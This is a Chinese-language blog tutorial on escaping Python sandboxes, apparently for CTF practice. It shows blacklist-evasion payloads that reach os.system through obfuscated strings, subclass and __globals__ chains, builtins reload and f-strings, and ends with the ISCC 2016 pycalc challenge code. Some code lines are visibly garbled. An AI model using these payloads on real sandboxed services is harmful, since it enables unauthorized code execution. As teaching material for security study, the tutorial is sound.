python沙箱逃逸

Fasthand_發表於2020-02-16

1.預備內容

這部分內容只需要簡單的瀏覽有個具體的印象即可。如果感興趣可以谷歌、百度去深入理解。

python中內建執行系統命令的模組:

os
commands:(python 2.x)
subprocess
timeit
paltform
pty
bdb
cgi


subprocess

模組用於管理子程式。可以呼叫外部命令作為子程式,還可以生成新的程式、連線到它們的input/output/error管道,同時獲取它們的返回碼。

subprocess.Popen類
該類用於在一個新程式中執行一個子程式,subprocess的run、call、check_call、check_output、getoutput、getstatusoutput函式均屬於該類


os

模組用於訪問作業系統功能的模組。
通用操作:1.系統操作 2.目錄操作 3.判斷操作

系統操作:
os.sep 用於區別系統路徑分隔符
os.getenv 讀取環境變數
os.getcwd 獲取當前路徑 …
目錄操作:(增刪改查)
os.mkdir 建立一個目錄
os.removedirs 可刪除多層遞迴的空目錄,有檔案則無法刪除
os.rename() 重新命名 …
判斷操作:
os.path.exists(path) 判斷檔案或者目錄是否存在
os.path.isfile(path) 判斷是否為檔案
os.path.isdir(path) 判斷是否為目錄 …

path模組os.path.x
x:basemae,dirname,getsize,abspath,join, …


commands

該模組在3.x中已經被subprocess取代。但是在2.x的早期版本中它也是重要的內建模組之一,共有三個函式:

getoutput(cmd):執行cmd命令,並返回輸出的內容,返回結果為str。
getstatus(file):返回執行ls -ld file命令的結果。該函式已被python丟棄,不建議使用
getstatusoutput(cmd): 執行cmd命令,並返回執行的狀態和輸出的內容,返回結果為int和str。


timeit

時間模組,用於準確測量程式碼執行時間
該模組定義了三個實用函式和一個公共類。

timeit.timeit(stmt=‘pass’, setup=‘pass’, timer=, number=1000000)
建立一個 Timer 例項,引數分別是 stmt:需要測量的語句或函式,setup:初始化程式碼或構建環境的匯入語句,timer:計時函式,number:每一次測量中語句被執行的次數

timeit.repeat(stmt=‘pass’, setup=‘pass’, timer=, repeat=3, number=1000000)
建立一個 Timer 例項,引數分別是 stmt:需要測量的語句或函式,setup:初始化程式碼或構建環境的匯入語句,timer:計時函式,repeat:重複測量的次數,number:每一次測量中語句被執行的次數

timeit.default_timer()
計時器

class timeit.Timer(stmt=‘pass’, setup=‘pass’, timer=)
計算小段程式碼執行速度的類,建構函式需要的引數有 stmt:需要測量的語句或函式,setup:初始化程式碼或構建環境的匯入語句,timer:計時函式。前兩個引數的預設值都是 ‘pass’,timer 引數是平臺相關的;前兩個引數都可以包含多個語句,多個語句間使用分號(;)或新行分隔開。

模組的一些方法 …


paltform

該模組用於獲得作業系統的相關資訊

platform.platform() 獲得作業系統名稱以及版本號
platform.node() 獲得計算機的網路名稱
python.python_compiler() 獲得計算機python中的編譯器相關資訊
… …


pty

該模組定義了處理偽終端的操作:啟動另一個程式並能夠以程式設計方式寫入和讀取其控制終端。
模組定義了以下功能:

pty.fork() 將子程式的控制終端連線到一個偽終端
pty.openpty() 開啟一個新的偽終端
pty.spawn() 產生一個程式,將其控制終端與當前程式的標註io連線起來。(常用來擋住堅持從控制終端讀取的程式)



可執行系統命令的函式

print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
#下位模組commands內容
commands.getoutput('ls *.sh')
>>>'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'
>commands.getstatusoutput('ls *.sh')
commands.getstatus('ls *.sh')
>>> '0'
commands.getstatusoutput('ls *.sh')
>>>(0,'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'




兩個魔術方法

第一個是類具有的——__dict__魔術方法
第二個是例項、類、函式都具有的——__getattribute__魔術方法

dir([]) #例項
dir([].class) #類
dir([].append) #函式

#檢視例項中支援的方法
>>> class haha:
...     a=7
...
>>> dir(haha)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a']

#檢視類中支援的方法/物件
>>> dir([].__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
>>> dir([].copy.__class__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']


#檢視具體函式中支援的方法
>>> dir([].__class__.__base__.__subclasses__()[72].__init__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__objclass__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']


#使用__dict__呼叫[].__class__的__init__方法
>>> [].__class__.__dict__['__init__']
<slot wrapper '__init__' of 'list' objects>
#使用__getattribute__呼叫[].__class__的__init__方法
>>> [].__class__.__getattribute__([],'__init__')
<method-wrapper '__init__' of list object at 0x000001BAB90317C0>
#第一個返回的是個方法,第二個返回一個例項空間的方法
#通常構造payload1的時候:
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
只有第一種的方法(dict)才具有__globals__

python中可以執行任意程式碼的函式

1.timeit
import timeit
timeit.timeit(“import(‘os’).system(‘dir’)”,number=1)
#coding:utf-8 import timeit timeit.timeit(“import(‘os’).system(’’)”, number=1)

2.exec 和eval
eval(‘import(“os”).system(“dir”)’)

3.platform
import platform
print platform.popen(‘dir’).read()
import platform platform.popen(‘id’, mode=‘r’, bufsize=-1).read()

4.random、math
通過讀寫檔案進行,具體情況具體分析。下文有例項

匯入os或sys的庫

後面需要索引位置的時候可以用index哦。。別真的一個個去數

>>> dir([].__class__).index('__len__')
20

需要儘量去熟悉內建庫,以及庫之間相互的引用關係。

#modules_2 代表python2.x   下同理
all_modules_2 = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion',
 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib',
  'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs',
   'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString',
    'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy',
     'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser',
      'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types',
       '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512',
        'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched',
         'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha']

all_modules_3 = [
    'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets',
     'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize',
      '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi',
       'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys',
        'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os',
         'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle',
          '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput',
           'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited',
            '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq']



2. 沙箱逃逸

進入正題,先介紹一些方法。具體構造payload的時候一般都是需要組合使用的。

花式import

禁用import os肯定不安全,因為:

import..os
import...os

都可以實現同import os同樣的效果。
就算多個空格的操作也被過濾了,python中能import的還有

importimport(‘os’),import, importlib:importlib.import_module(‘os’).system(‘ls’)
還可以通過execfile實現(限制python2.x,3中該模組被刪除):
execfile(’/usr/lib/python2.7/os.py’)
system(‘ls’)
但是可以間接這樣實現(通用)
with open(’/usr/lib/python3.6/os.py’,‘r’) as f:
exec(f.read())
system(‘ls’)



花式處理字串

沙箱中往往會禁止一些危險的字串出現,比如os、eval等。但是可以通過花式處理字串的方法,不直接通過“os”來匯入而是通過“os”的別名來匯入。
以os庫的引入為例。
如果沙箱ban了os庫,程式碼中如果出現了os,那麼肯定是不讓執行的。但是可以通過其他的操作來間接引入os:

 > __import__('so'[::-1]).system('ls')  #逆序列印
 > b = 'o'
   a = 's'
   __import__(a+b).system('ls')     #字元拼接

 >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])  #eval函式
root
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])    #exec函式
root

但是,一般eval和exec都會被過濾,因為他們同樣很危險。
對字串的變形處理還有很多的方式:
逆序、拼接、base64、hex、rot13、rot1 …都可以實現這種操作,根據具體情況來選擇變形方式。



恢復sys.modules

sys.modules是一個字典,其中儲存了載入過的模組資訊,如果python是剛啟動所列出的模組就是直譯器在啟動時自動載入的模組。有些庫(eg:os)是預設被載入的,但是不能直接使用,因為該 字典中的模組位經import載入對於當前空間是不可見的。

sys.modules['os'] = 'not allowed' 
del sys.modules['os']
import os
os.system('ls')

還有__builtins__的匯入方法

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")


花式執行函式

如果system函式被禁止了,即無法通過os.system執行系統命令,且system也無法通過處理字串的方法來實現,所以要想其他的途徑來解決這一問題。

  1. os模組中能執行系統命令的函式還有很多(見開頭可執行系統命令的函式)

  2. 還可以通過getattr、getattrgetattribute,來拿到物件方法、屬性。
import os
getattr(os, 'metsys'[::-1])('whoami')
#如果不讓出現import
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
root
0

關於__getattribute__這裡有一個很有意思的現象:

class Tree(object):
    def __init__(self,name):
        self.name = name
        self.cate = "plant"
    def __getattribute__(self,obj):
        if obj.endswith("e"):
            return object.__getattribute__(self,obj)
        else:
            return self.call_wind()
    def call_wind(self):
        return "樹大招風"
aa = Tree("大樹")
print(aa.name)#因為name是以e結尾,所以返回的還是name,所以列印出"大樹"
print(aa.wind)#這個命令首先呼叫__getattribute__方法,經過判斷進入self.call_wind(),但是去呼叫aa這個物件的call_wind屬性時,前提是去呼叫__getattribute__,所以這樣形成了一個死迴圈且沒有退出機制,最終程式就會報錯。

3. 通過內建模組builtin、builtins,__builtin__(到了3.x變成了builtins)與__builtins__。檢視模組需要import才可,即雖然這些模組是內建函式(不需要匯入就可以使用裡面的內容),但是如果需要檢視模組的資訊還是需要import它們。
2.x
>>> __builtin__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name '__builtin__' is not defined
>>
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:
>>> builtins
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'builtins' is not defined
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

builtins__兩者都有。故下都用__builtins__表示。
如果__builtins__內部的reload沒被刪除,可以使用reload恢復__builtins
,從而恢復__builtins__中被刪除的危險函式(eval…)

2.x 的 reload 是內建的,3.x 需要 import imp,然後再 imp.reload。reload 的引數是 module,所以肯定還能用於重新載入其他模組,這個放在下面說。



通過繼承關係逃逸

Python支援多重繼承,2.2之前對於方法的判斷搜尋是按照深度優先(經典類),後發展成廣度有限(新式類),後來新式類的搜尋演算法變成了C3演算法。python中新式類都有個屬性(mro)是一個元組,記錄了類的繼承關係。

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

一個類的例項在獲取class的屬性時候會指向該例項相應的類。如上的’'屬於str類,並且他繼承了object類。
同時判斷某個例項繼承的函式還有__base__ 和__bases__

>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> class test1:
...     pass
...
>>> test1.__base__
<class 'object'>

那麼通過繼承關係又來利用呢?
在設定沙箱的時候刪除了os,即無法直接引入os,但是如果有個庫叫ss,在ss中引入了os,那麼就可以通過__globals__拿到 os。

(__globals__是函式所在的全域性名稱空間中所定義的全域性變數,globals:該屬性是函式特有的屬性,記錄當前檔案全域性變數的值,如果某個檔案呼叫了os、sys等庫,但我們只能訪問該檔案某個函式或者某個物件,那麼我們就可以利用globals屬性訪問全域性的變數

例如:site庫就引入了os。

>>> import site
>>> site.os
<module 'os' from 'C:\\Users\\xx\\AppData\\Local\\Programs\\Python\\Python39\\lib\\os.py'>

也就是說直接能直接引用site的話,就相當於引入了os。但是site 如果也被禁用了呢?
那麼我們可以利用reload來花式載入os:


>>> import site
>>> os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
xx
0

使用這種方式,不僅僅可以一步跳步,還可以跳幾步,即A->os, B->A->os都可以實現這部分。

已經提前匯入了os的內建模組
<class ‘site._Printer’>
<class ‘site.Quitter’>
<class ‘warnings.catch_warnings’>

eg:

#A->os示例

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'

#例項2
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
>>>>a
<module 'os' from '/usr/lib/python2.7/os.pyc'>
#成功匯入繼續利用
>>>a.__dict__.keys().index('system')
79
>>> a.__dict__.keys()[79]
'system'
>>> b=a.__dict__.values()[79]
>>> b
<built-in function system>
>>> b('whoami')
root

兩個例子可以看到執行後又出現了os。

 #A->B->os                
 # 該示例限python2.x
 >>> import warnings
 >>> warnings.os Traceback (most recent call last):   File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'os'
>>> warnings.linecache
 <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
>>>
>>> warnings.linecache.os
 <module 'os' from '/usr/lib/python2.7/os.pyc'>
 #所以繼承鏈就可以寫成這樣
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
root
0


-------------------------------------------

#warnings庫中還有一個可以利用的函式,warnings.catch_warnings,它有個_module屬性.    
>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
root
0

#3.x 中的warnings雖然沒有 linecache,也有__builtins__
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0


#py3.x 中有<class 'os._wrap_close'>
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0

#如果object可以使用,上面的式子可以簡化:
>>> object.__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0

#利用builtin_function_or_method 的 __call__:
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')

#上式可簡化
[].__getattribute__('append').__class__.__call__(eval, '1+1')

#還有一種利用方式
class test(dict):
    def __init__(self):
        print(super(test, self).keys.__class__.__call__(eval, '1+1'))
 # 如果是 3.x 的話可以簡寫為:
       # super().keys.__class__.__call__(eval, '1+1'))
test()

通過上面的描述可以知道通過函式的繼承可以多樣化的實現匯入需要的函式,方法來實現需要的逃逸目的。
總結而言:
1.通過__class__、mrosubclasses、__bases__等等屬性/方法去獲取 object.
2.根據__globals__找引入的__builtins__或者eval等等能夠直接被利用的庫,或者找到builtin_function_or_method類/型別
3.__call__後直接執行eval



檔案讀寫

python2.x中有兩個內建函式file,open可以用於檔案讀取(python3.x中沒用有file)
types.FileType(rw)、platform.popen(rw)、linecache.getlines®庫是可以寫檔案的,危害性比讀大。
因為,如果可以寫檔案,可以先將一個檔案寫好(xx.py),再import進來。

xx.py:         #注:xx命名最好要挑選一個常用的標準庫的名字,因為過濾的庫名可能採用的是白名單的方式。但是不能和sys.modules中的庫重複。否則無法正常利用,python會直接從sys.modules中加入
	import os
	print(os.system('whoami'))
>>> import math
root
0

根據上面的內容可以找出幾種payload構造來繞過:

builtins.open(‘filename’).read() ‘context’ ().class.base.subclasses()40.read() ‘context’



其他

沙箱中還可能會過濾[、]兩個符號。對於這種情況就需要用pop、getitem 代替[ 、 ]兩個符號缺少帶來的影響。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'root\n'

#python 3.6以後可以使用新特性 f-string
>>> f'{__import__("os").system("whoami")}'
root
'0'



3.小結/思路

一般逃逸使用這幾個庫來嘗試:

os
subprocess
commands

如果都被ban了可以嘗試預備內容中談到的兩個魔術方法來繞過字串的限制,或者使用內建函式來繞過。




4.例項

光看內容總是覺得一頭霧水,只有經過一定的練習後再閱讀一遍本文才能帶來更多的收穫。
以下題目我都會直接放在我的資源裡歡迎大家來下載練習。



1. ISCC 2016 Pwn300 pycalc

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

def banner():
    print "============================================="
    print "   Simple calculator implemented by python   "
    print "============================================="
    return

def getexp():
    return raw_input(">>> ")

def _hook_import_(name, *args, **kwargs):
    module_blacklist = [****]
    rbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)

def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
                 '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:
            return 0
    return 1

def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command
    try:
        exec command in _global     # do calculate in a sandboxed environment
    except Exception, e:
        print e
        return 0
    result = _global['result']  # extract the result
    return result

banner()
while 1:
    command = getexp()
    print sandbox_exec(command)

程式碼中的exec command in _global很安全,exec執行在自定義的全域性名稱空間中,使得至於restricted execution mode環境中,所以很多payload都無法執行。但是也正是如此有一些其他特殊的方法可以執行。

